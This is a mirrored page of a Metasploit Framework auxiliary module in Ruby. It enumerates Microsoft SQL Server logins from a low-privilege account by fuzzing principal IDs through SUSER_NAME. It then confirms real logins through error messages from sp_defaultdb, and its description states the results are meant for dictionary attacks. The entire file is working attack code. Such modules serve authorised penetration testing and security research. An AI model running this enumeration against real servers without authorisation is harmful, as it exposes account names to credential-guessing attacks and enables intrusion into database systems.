CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::MSSQL
8
9
def initialize(info = {})
10
super(update_info(info,
11
'Name' => 'Microsoft SQL Server SUSER_SNAME SQL Logins Enumeration',
12
'Description' => %q{
13
This module can be used to obtain a list of all logins from a SQL Server with any login.
14
Selecting all of the logins from the master..syslogins table is restricted to sysadmins.
15
However, logins with the PUBLIC role (everyone) can quickly enumerate all SQL Server
16
logins using the SUSER_SNAME function by fuzzing the principal_id parameter. This is
17
pretty simple, because the principal IDs assigned to logins are incremental. Once logins
18
have been enumerated they can be verified via sp_defaultdb error analysis. This is
19
important, because not all of the principal IDs resolve to SQL logins (some resolve to
20
roles instead). Once logins have been enumerated, they can be used in dictionary attacks.
21
},
22
'Author' => ['nullbind <scott.sutherland[at]netspi.com>'],
23
'License' => MSF_LICENSE,
24
'References' => [['URL','https://docs.microsoft.com/en-us/sql/t-sql/functions/suser-sname-transact-sql']]
25
))
26
27
register_options(
28
[
29
OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 300]),
30
])
31
end
32
33
def run
34
# Check connection and issue initial query
35
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
36
if mssql_login_datastore
37
print_good('Connected.')
38
else
39
print_error('Login was unsuccessful. Check your credentials.')
40
disconnect
41
return
42
end
43
44
# Query for sysadmin status
45
print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
46
user_status = check_sysadmin
47
48
# Check if user has sysadmin role
49
if user_status == 1
50
print_good("#{datastore['USERNAME']} is a sysadmin.")
51
else
52
print_status("#{datastore['USERNAME']} is NOT a sysadmin.")
53
end
54
55
# Get a list if sql server logins using SUSER_NAME()
56
print_status("Setup to fuzz #{datastore['FuzzNum']} SQL Server logins.")
57
print_status('Enumerating logins...')
58
sql_logins_list = get_sql_logins
59
if sql_logins_list.nil? || sql_logins_list.empty?
60
print_error('Sorry, somethings went wrong - SQL Server logins were found.')
61
disconnect
62
return
63
else
64
# Print number of initial logins found
65
print_good("#{sql_logins_list.length} initial SQL Server logins were found.")
66
67
sql_logins_list.sort.each do |sql_login|
68
if datastore['VERBOSE']
69
print_status(" - #{sql_login}")
70
end
71
end
72
end
73
74
# Verify the enumerated SQL Logins using sp_defaultdb error ananlysis
75
print_status('Verifying the SQL Server logins...')
76
sql_logins_list_verified = verify_logins(sql_logins_list)
77
if sql_logins_list_verified.nil?
78
print_error('Sorry, no SQL Server logins could be verified.')
79
disconnect
80
return
81
else
82
83
# Display list verified SQL Server logins
84
print_good("#{sql_logins_list_verified.length} SQL Server logins were verified:")
85
sql_logins_list_verified.sort.each do |sql_login|
86
print_status(" - #{sql_login}")
87
end
88
end
89
90
disconnect
91
end
92
93
# Checks if user is a sysadmin
94
def check_sysadmin
95
# Setup query to check for sysadmin
96
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
97
98
# Run query
99
result = mssql_query(sql)
100
101
# Parse query results
102
parse_results = result[:rows]
103
status = parse_results[0][0]
104
105
# Return status
106
return status
107
end
108
109
# Gets trusted databases owned by sysadmins
110
def get_sql_logins
111
# Create array to store the sql logins
112
sql_logins = []
113
114
# Fuzz the principal_id parameter passed to the SUSER_NAME function
115
(1..datastore['FuzzNum']).each do |principal_id|
116
# Setup query
117
sql = "SELECT SUSER_NAME(#{principal_id}) as login"
118
119
# Execute query
120
result = mssql_query(sql)
121
122
# Parse results
123
parse_results = result[:rows]
124
sql_login = parse_results[0][0]
125
126
# Add to sql server login list
127
sql_logins.push(sql_login) unless sql_logins.include?(sql_login)
128
end
129
130
# Return list of logins
131
sql_logins
132
end
133
134
# Checks if user has the db_owner role
135
def verify_logins(sql_logins_list)
136
137
# Create array for later use
138
verified_sql_logins = []
139
140
fake_db_name = Rex::Text.rand_text_alpha_upper(24)
141
142
# Check if the user has the db_owner role is any databases
143
sql_logins_list.each do |sql_login|
144
# Setup query
145
sql = "EXEC sp_defaultdb '#{sql_login}', '#{fake_db_name}'"
146
147
# Execute query
148
result = mssql_query(sql)
149
150
# Parse results
151
parse_results = result[:errors]
152
result = parse_results[0]
153
154
# Check if sid resolved to a sql login
155
if result.include?(fake_db_name)
156
verified_sql_logins.push(sql_login) unless verified_sql_logins.include?(sql_login)
157
end
158
159
# Check if sid resolved to a sql login
160
if result.include?('alter the login')
161
# Add sql server login to verified list
162
verified_sql_logins.push(sql_login) unless verified_sql_logins.include?(sql_login)
163
end
164
end
165
166
verified_sql_logins
167
end
168
end
169
170